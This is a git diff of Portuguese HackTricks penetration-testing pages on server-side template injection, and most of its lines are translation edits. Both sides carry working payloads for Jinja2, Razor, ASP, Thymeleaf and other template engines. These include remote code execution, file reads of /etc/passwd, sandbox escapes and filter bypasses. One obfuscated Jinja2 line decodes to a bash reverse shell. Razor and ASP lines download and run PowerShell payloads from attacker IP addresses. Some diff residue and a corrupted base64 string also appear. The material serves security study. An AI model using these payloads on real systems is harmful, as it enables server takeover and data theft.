* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
@ -20,7 +20,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## O que é Injeção de Template do Lado do Servidor (SSTI)
|
||||
## O que é SSTI (Server-Side Template Injection)
|
||||
|
||||
A injeção de template do lado do servidor é uma vulnerabilidade que ocorre quando um atacante pode injetar código malicioso em um template que é executado no servidor. Essa vulnerabilidade pode ser encontrada em várias tecnologias, incluindo Jinja.
|
||||
|
||||
|
@ -39,22 +39,23 @@ O payload `{{bad-stuff-here}}` é injetado no parâmetro `name`. Este payload po
|
|||
Para prevenir vulnerabilidades de injeção de modelo do lado do servidor, os desenvolvedores devem garantir que a entrada do usuário seja devidamente sanitizada e validada antes de ser inserida nos modelos. Implementar validação de entrada e usar técnicas de escape sensíveis ao contexto pode ajudar a mitigar o risco dessa vulnerabilidade.
|
||||
|
||||
### Detecção
|
||||
|
||||
Para detectar Injeção de Modelo do Lado do Servidor (SSTI), inicialmente, **fazer fuzzing no modelo** é uma abordagem direta. Isso envolve injetar uma sequência de caracteres especiais (**`${{<%[%'"}}%\`**) no modelo e analisar as diferenças na resposta do servidor para dados regulares versus essa carga especial. Indicadores de vulnerabilidade incluem:
|
||||
|
||||
- Erros lançados, revelando a vulnerabilidade e potencialmente o mecanismo de modelo.
|
||||
- Ausência da carga na reflexão, ou partes dela faltando, implicando que o servidor a processa de forma diferente dos dados regulares.
|
||||
|
||||
- Ausência da carga na reflexão, ou partes dela faltando, implicando que o servidor a processa de forma diferente do que os dados regulares.
|
||||
- **Contexto de Texto Simples**: Distinguir de XSS verificando se o servidor avalia expressões de modelo (por exemplo, `{{7*7}}`, `${7*7}`).
|
||||
|
||||
- **Contexto de Código**: Confirmar a vulnerabilidade alterando parâmetros de entrada. Por exemplo, alterar `greeting` em `http://vulnerable-website.com/?greeting=data.username` para ver se a saída do servidor é dinâmica ou fixa, como em `greeting=data.username}}hello` retornando o nome de usuário.
|
||||
|
||||
#### Fase de Identificação
|
||||
|
||||
Identificar o mecanismo de modelo envolve analisar mensagens de erro ou testar manualmente várias cargas específicas de linguagem. Cargas comuns que causam erros incluem `${7/0}`, `{{7/0}}` e `<%= 7/0 %>`. Observar a resposta do servidor a operações matemáticas ajuda a identificar o mecanismo de modelo específico.
|
||||
|
||||
## Ferramentas
|
||||
|
||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||
|
||||
um scanner eficiente de SSTI + CSTI que utiliza novos poliglotos
|
||||
um scanner eficiente de SSTI + CSTI que utiliza políglotos inovadores
|
||||
```bash
|
||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||
|
@ -73,7 +74,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
|
|||
```
|
||||
### [Tabela de Injeção de Template](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
uma tabela interativa contendo os poliglotas de injeção de template mais eficientes juntamente com as respostas esperadas dos 44 motores de template mais importantes.
|
||||
uma tabela interativa contendo os poliglotos de injeção de template mais eficientes juntamente com as respostas esperadas dos 44 motores de template mais importantes.
|
||||
|
||||
## Exploits
|
||||
|
||||
|
@ -154,22 +155,24 @@ $str.valueOf($chr.toChars($out.read()))
|
|||
|
||||
### Thymeleaf
|
||||
|
||||
No Thymeleaf, um teste comum para vulnerabilidades de SSTI é a expressão `${7*7}`, que também se aplica a esse mecanismo de template. Para possíveis execuções de código remoto, podem ser usadas expressões como as seguintes:
|
||||
No Thymeleaf, um teste comum para vulnerabilidades de SSTI é a expressão `${7*7}`, que também se aplica a este mecanismo de template. Para possíveis execuções de código remoto, podem ser usadas expressões como as seguintes:
|
||||
|
||||
* SpringEL:
|
||||
|
||||
- SpringEL:
|
||||
```java
|
||||
${T(java.lang.Runtime).getRuntime().exec('calc')}
|
||||
```
|
||||
- OGNL:
|
||||
* OGNL:
|
||||
|
||||
```java
|
||||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
Thymeleaf requer que essas expressões sejam colocadas dentro de atributos específicos. No entanto, o _inline de expressão_ é suportado para outras localizações de template, usando sintaxe como `[[...]]` ou `[(...)]`. Assim, um payload de teste de SSTI simples pode se parecer com `[[${7*7}]]`.
|
||||
|
||||
No entanto, a probabilidade desse payload funcionar é geralmente baixa. A configuração padrão do Thymeleaf não suporta geração dinâmica de templates; os templates devem ser predefinidos. Os desenvolvedores precisariam implementar seu próprio `TemplateResolver` para criar templates a partir de strings dinamicamente, o que é incomum.
|
||||
No entanto, a probabilidade deste payload funcionar é geralmente baixa. A configuração padrão do Thymeleaf não suporta geração dinâmica de templates; os templates devem ser predefinidos. Os desenvolvedores precisariam implementar seu próprio `TemplateResolver` para criar templates a partir de strings dinamicamente, o que é incomum.
|
||||
|
||||
Thymeleaf também oferece _pré-processamento de expressão_, onde expressões dentro de dois underlines duplos (`__...__`) são pré-processadas. Esse recurso pode ser utilizado na construção de expressões, como demonstrado na documentação do Thymeleaf:
|
||||
Thymeleaf também oferece _pré-processamento de expressão_, onde expressões dentro de dois underlines duplos (`__...__`) são pré-processadas. Este recurso pode ser utilizado na construção de expressões, como demonstrado na documentação do Thymeleaf:
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
|
@ -264,6 +267,7 @@ Nova versão do Pebble:
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
{% set bytes = (1).TYPE
|
||||
.forName('java.lang.Runtime')
|
||||
.methods[6]
|
||||
|
@ -278,11 +282,13 @@ Nova versão do Pebble:
|
|||
```
|
||||
### Jinjava (Java)
|
||||
|
||||
Jinjava é uma biblioteca Java para análise e renderização de modelos de texto. Ele suporta a injeção de modelos do lado do servidor (SSTI) e é comumente usado em aplicativos da web Java para processar modelos dinâmicos. Jinjava pode ser vulnerável a ataques de injeção de modelo do lado do servidor se não for configurado corretamente. Certifique-se de validar e sanitizar todas as entradas do usuário ao usar Jinjava para evitar vulnerabilidades de SSTI.
|
||||
O Jinjava é uma biblioteca Java para processamento de modelos que suporta injeção de modelo do lado do servidor (SSTI). Ele é uma implementação do Jinja2 em Java e pode ser usado para explorar vulnerabilidades de SSTI em aplicativos Java.
|
||||
```java
|
||||
{{'a'.toUpperCase()}} would result in 'A'
|
||||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||||
```
|
||||
Jinjava é um projeto de código aberto desenvolvido pela Hubspot, disponível em [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
|
||||
|
||||
**Jinjava - Execução de Comandos**
|
||||
|
||||
Corrigido por [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
|
||||
|
@ -364,11 +370,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
* `${{7*7}}` - 49
|
||||
* `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
A Linguagem de Expressão (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) em JavaEE. É amplamente utilizada em várias tecnologias JavaEE para simplificar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
|
||||
A Linguagem de Expressão (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) em JavaEE. É amplamente utilizado em várias tecnologias JavaEE para simplificar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
|
||||
|
||||
- **JavaServer Faces (JSF)**: Emprega EL para vincular componentes em páginas JSF aos dados e ações de backend correspondentes.
|
||||
- **JavaServer Pages (JSP)**: EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página aos dados da aplicação.
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: EL integra-se ao CDI para permitir uma interação perfeita entre a camada web e os beans gerenciados, garantindo uma estrutura de aplicação mais coerente.
|
||||
* **JavaServer Faces (JSF)**: Emprega EL para vincular componentes em páginas JSF aos dados e ações de backend correspondentes.
|
||||
* **JavaServer Pages (JSP)**: EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página aos dados da aplicação.
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: EL integra-se ao CDI para permitir uma interação perfeita entre a camada web e os beans gerenciados, garantindo uma estrutura de aplicação mais coerente.
|
||||
|
||||
Confira a seguinte página para aprender mais sobre a **exploração dos interpretadores EL**:
|
||||
|
||||
|
@ -411,7 +417,6 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
|
||||
##
|
||||
|
||||
|
||||
### Smarty (PHP)
|
||||
```php
|
||||
{$smarty.version}
|
||||
|
@ -503,6 +508,7 @@ Modelo de layout:
|
|||
</html>
|
||||
```
|
||||
**Mais informações**
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates)
|
||||
|
||||
### PHPlib e HTML\_Template\_PHPLIB (PHP)
|
||||
|
@ -564,7 +570,8 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
?>
|
||||
```
|
||||
**Mais informações**
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib)
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)
|
||||
|
||||
### Jade (NodeJS)
|
||||
```javascript
|
||||
|
@ -597,6 +604,7 @@ Hello {NAME}.<br/>
|
|||
</patTemplate:tmpl>
|
||||
```
|
||||
**Mais informações**
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate)
|
||||
|
||||
### Handlebars (NodeJS)
|
||||
|
@ -640,10 +648,10 @@ URLencoded:
|
|||
|
||||
| **Template** | **Descrição** |
|
||||
| ------------ | --------------------------------------- |
|
||||
| | Avalia e renderiza a saída |
|
||||
| | Avalia e renderiza a saída |
|
||||
| | Avalia e renderiza a saída codificada em HTML |
|
||||
| | Comentário |
|
||||
| e | Permite código (desativado por padrão) |
|
||||
| | Comentário |
|
||||
| e | Permite código (desativado por padrão) |
|
||||
|
||||
* \= 49
|
||||
|
||||
|
@ -693,7 +701,7 @@ home = pugjs.render(injected_page)
|
|||
* `{{7*7}} = {{7*7}}`
|
||||
* `${7*7} = ${7*7}`
|
||||
* `<%= 7*7 %> = 49`
|
||||
* `<%= foobar %> = Erro`
|
||||
* `<%= foobar %> = Error`
|
||||
```python
|
||||
<%= system("whoami") %> #Execute code
|
||||
<%= Dir.entries('/') %> #List folder
|
||||
|
@ -721,7 +729,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
### Python
|
||||
|
||||
Confira a seguinte página para aprender truques sobre **burlar as caixas de areia de execução de comandos arbitrários** em python:
|
||||
Confira a seguinte página para aprender truques sobre **execução de comandos arbitrários contornando ambientes restritos** em python:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -743,17 +751,19 @@ Confira a seguinte página para aprender truques sobre **burlar as caixas de are
|
|||
|
||||
|
||||
|
||||
|
||||
{{os.system('whoami')}}
|
||||
{{os.system('whoami')}}
|
||||
```
|
||||
**Mais informações**
|
||||
|
||||
* [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)
|
||||
|
||||
### Jinja2 (Python)
|
||||
|
||||
[Site oficial](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 é um mecanismo de modelo completo para Python. Possui suporte total a Unicode, um ambiente de execução integrado opcionalmente isolado, amplamente utilizado e licenciado sob a BSD.
|
||||
> Jinja2 é um mecanismo de modelo completo para Python. Possui suporte total a Unicode, um ambiente de execução integrado com sandbox opcional, amplamente utilizado e licenciado sob a BSD.
|
||||
|
||||
* `{{7*7}} = Erro`
|
||||
* `${7*7} = ${7*7}`
|
||||
|
@ -772,11 +782,12 @@ Confira a seguinte página para aprender truques sobre **burlar as caixas de are
|
|||
|
||||
|
||||
|
||||
|
||||
{{settings.SECRET_KEY}}
|
||||
{{4*4}}[[5*5]]
|
||||
{{7*'7'}} would result in 7777777
|
||||
```
|
||||
**Jinja2 - Formato do Template**
|
||||
**Jinja2 - Formato de Template**
|
||||
```python
|
||||
{% raw %}
|
||||
{% extends "layout.html" %}
|
||||
|
@ -819,6 +830,7 @@ x=os.popen('id').read()
|
|||
${x}
|
||||
```
|
||||
**Mais informações**
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
|
||||
|
||||
### Razor (.Net)
|
||||
|
@ -832,21 +844,14 @@ ${x}
|
|||
* `@(1+2)`
|
||||
* `@( //Código C# )`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AdABtAGUAdADYANAAuAGUAeABlAA==");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
O método .NET `System.Diagnostics.Process.Start` pode ser usado para iniciar qualquer processo no servidor e assim criar um webshell. Você pode encontrar um exemplo de aplicativo da web vulnerável em [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
|
||||
**Mais informações**
|
||||
|
||||
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
|
||||
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
|
||||
|
||||
### ASP
|
||||
|
||||
* `<%= 7*7 %>` = 49
|
||||
* `<%= "foo" %>` = foo
|
||||
* `<%= foo %>` = Nada
|
||||
* `<%= response.write(date()) %>` = \<Date>
|
||||
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
|
||||
```xml
|
||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||
```
|
||||
|
@ -868,14 +873,15 @@ Mesmo sendo perl, ele usa tags como ERB em Ruby.
|
|||
|
||||
No mecanismo de template do Go, a confirmação de seu uso pode ser feita com payloads específicos:
|
||||
|
||||
* `{{ . }}`: Revela a entrada da estrutura de dados. Por exemplo, se um objeto com um atributo `Password` for passado, `{{ .Password }}` poderia expô-lo.
|
||||
* `{{ . }}`: Revela a estrutura de dados de entrada. Por exemplo, se um objeto com um atributo `Password` for passado, `{{ .Password }}` poderia expô-lo.
|
||||
* `{{printf "%s" "ssti" }}`: Espera-se exibir a string "ssti".
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}`: Esses payloads devem retornar "ssti" sem adicionar "html" ou "js". Mais diretivas podem ser exploradas na documentação do Go [aqui](https://golang.org/pkg/text/template).
|
||||
|
||||
**Exploração de XSS**
|
||||
|
||||
Com o pacote `text/template`, o XSS pode ser direto ao inserir o payload diretamente. Por outro lado, o pacote `html/template` codifica a resposta para evitar isso (por exemplo, `{{"<script>alert(1)</script>"}}` resulta em `<script>alert(1)</script>`). No entanto, a definição e invocação de templates em Go podem contornar essa codificação:
|
||||
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}
|
||||
Com o pacote `text/template`, o XSS pode ser direto ao inserir o payload diretamente. Por outro lado, o pacote `html/template` codifica a resposta para evitar isso (por exemplo, `{{"<script>alert(1)</script>"}}` resulta em `<script>alert(1)</script>`). No entanto, a definição e invocação de templates em Go podem contornar essa codificação: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
|
||||
**Exploração de RCE**
|
||||
|
||||
|
@ -937,10 +943,10 @@ Se você achar útil, leia:
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
@ -32,7 +32,7 @@ app.run()
|
|||
```
|
||||
### **Declaração de Depuração**
|
||||
|
||||
Se a Extensão de Depuração estiver habilitada, uma tag `debug` estará disponível para exibir o contexto atual, bem como os filtros e testes disponíveis. Isso é útil para ver o que está disponível para usar no modelo sem configurar um depurador.
|
||||
Se a Extensão de Depuração estiver habilitada, uma tag `debug` estará disponível para exibir o contexto atual, bem como os filtros e testes disponíveis. Isso é útil para ver o que está disponível para uso no modelo sem configurar um depurador.
|
||||
```python
|
||||
<pre>
|
||||
|
||||
|
@ -41,9 +41,10 @@ Se a Extensão de Depuração estiver habilitada, uma tag `debug` estará dispon
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
</pre>
|
||||
```
|
||||
### **Despejar todas as variáveis de configuração**
|
||||
### **Exibir todas as variáveis de configuração**
|
||||
|
||||
Fonte: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
|
||||
```python
|
||||
|
@ -56,10 +57,11 @@ Fonte: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](
|
|||
<dd>{{ value|e }}</dd>
|
||||
{% endfor %}
|
||||
{% endraw %}
|
||||
```
|
||||
## **Injeção de Jinja**
|
||||
|
||||
Primeiramente, em uma injeção de Jinja você precisa **encontrar uma maneira de escapar do sandbox** e recuperar o acesso ao fluxo regular de execução do Python. Para fazer isso, você precisa **abusar de objetos** que são **do** **ambiente não-sandboxed mas são acessíveis a partir do sandbox**.
|
||||
```
|
||||
## **Injeção Jinja**
|
||||
|
||||
Primeiramente, em uma injeção Jinja você precisa **encontrar uma maneira de escapar do sandbox** e recuperar o acesso ao fluxo regular de execução do Python. Para fazer isso, você precisa **abusar de objetos** que são **do** **ambiente não-sandboxed mas são acessíveis a partir do sandbox**.
|
||||
|
||||
### Acessando Objetos Globais
|
||||
|
||||
|
@ -75,7 +77,7 @@ request
|
|||
```
|
||||
### Recuperando \<class 'object'>
|
||||
|
||||
Em seguida, a partir desses objetos, precisamos chegar à classe: **`<class 'object'>`** para tentar **recuperar** as **classes** definidas. Isso ocorre porque a partir desse objeto podemos chamar o método **`__subclasses__`** e **acessar todas as classes do ambiente Python não isolado**.
|
||||
Em seguida, a partir desses objetos, precisamos chegar à classe: **`<class 'object'>`** para tentar **recuperar** as **classes** definidas. Isso ocorre porque a partir desse objeto podemos chamar o método **`__subclasses__`** e **acessar todas as classes do ambiente python não isolado**.
|
||||
|
||||
Para acessar essa **classe de objeto**, você precisa **acessar um objeto de classe** e então acessar **`__base__`**, **`__mro__()[-1]`** ou `.`**`mro()[-1]`**. E então, **após** alcançar essa **classe de objeto**, nós **chamamos** **`__subclasses__()`**.
|
||||
|
||||
|
@ -114,6 +116,7 @@ dict.__mro__[-1]
|
|||
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
||||
{% endraw %}
|
||||
|
||||
|
||||
# Not sure if this will work, but I saw it somewhere
|
||||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
|
@ -130,7 +133,7 @@ A chamada para `__subclasses__` nos deu a oportunidade de **acessar centenas de
|
|||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
||||
```
|
||||
**Execução de Código Remoto (RCE)**
|
||||
**Execução Remota de Código (RCE)**
|
||||
```python
|
||||
# The class 396 is the class <class 'subprocess.Popen'>
|
||||
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
||||
|
@ -153,12 +156,12 @@ Para aprender sobre **mais classes** que você pode usar para **escapar**, você
|
|||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### By-passes de Filtro
|
||||
### By passes de filtro
|
||||
|
||||
#### By-passes Comuns
|
||||
#### By passes comuns
|
||||
|
||||
Esses by-passes nos permitirão **acessar** os **atributos** dos objetos **sem usar alguns caracteres**.\
|
||||
Já vimos alguns desses by-passes nos exemplos anteriores, mas vamos resumi-los aqui:
|
||||
Esses by passes nos permitirão **acessar** os **atributos** dos objetos **sem usar alguns caracteres**.\
|
||||
Já vimos alguns desses by passes nos exemplos anteriores, mas vamos resumi-los aqui:
|
||||
```bash
|
||||
# Without quotes, _, [, ]
|
||||
## Basic ones
|
||||
|
@ -183,14 +186,15 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
{% raw %}
|
||||
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
|
||||
{% endraw %}
|
||||
|
||||
```
|
||||
* [**Retorne aqui para mais opções de acesso a um objeto global**](jinja2-ssti.md#accessing-global-objects)
|
||||
* [**Retorne aqui para mais opções de acesso à classe do objeto**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||
* [**Leia isso para obter RCE sem a classe do objeto**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
||||
* [**Retorne aqui para mais opções de acesso a um objeto global**](jinja2-ssti.md#acessando-objetos-globais)
|
||||
* [**Retorne aqui para mais opções de acesso à classe do objeto**](jinja2-ssti.md#recuperando-objeto-da-classe-menos-que-maior-que)
|
||||
* [**Leia isso para obter RCE sem a classe do objeto**](jinja2-ssti.md#injeção-jinja-sem-objeto-da-classe-menos-que-maior-que)
|
||||
|
||||
**Evitando a codificação HTML**
|
||||
|
||||
Por padrão, o Flask codifica HTML dentro de um modelo por motivos de segurança:
|
||||
Por padrão, o Flask codifica HTML para todos os dentro de um modelo por motivos de segurança:
|
||||
```python
|
||||
{{'<script>alert(1);</script>'}}
|
||||
#will be
|
||||
|
@ -202,7 +206,7 @@ Por padrão, o Flask codifica HTML dentro de um modelo por motivos de segurança
|
|||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**Execução de código remoto ao escrever um arquivo de configuração malicioso.**
|
||||
**RCE ao escrever um arquivo de configuração malicioso.**
|
||||
```python
|
||||
# evil config
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
||||
|
@ -220,10 +224,11 @@ Sem **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|||
{% raw %}
|
||||
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
|
||||
{% endraw %}
|
||||
|
||||
```
|
||||
## Injeção de Jinja sem **\<class 'object'>**
|
||||
|
||||
A partir dos [**objetos globais**](jinja2-ssti.md#accessing-global-objects) há outra maneira de obter **RCE sem usar essa classe.**\
|
||||
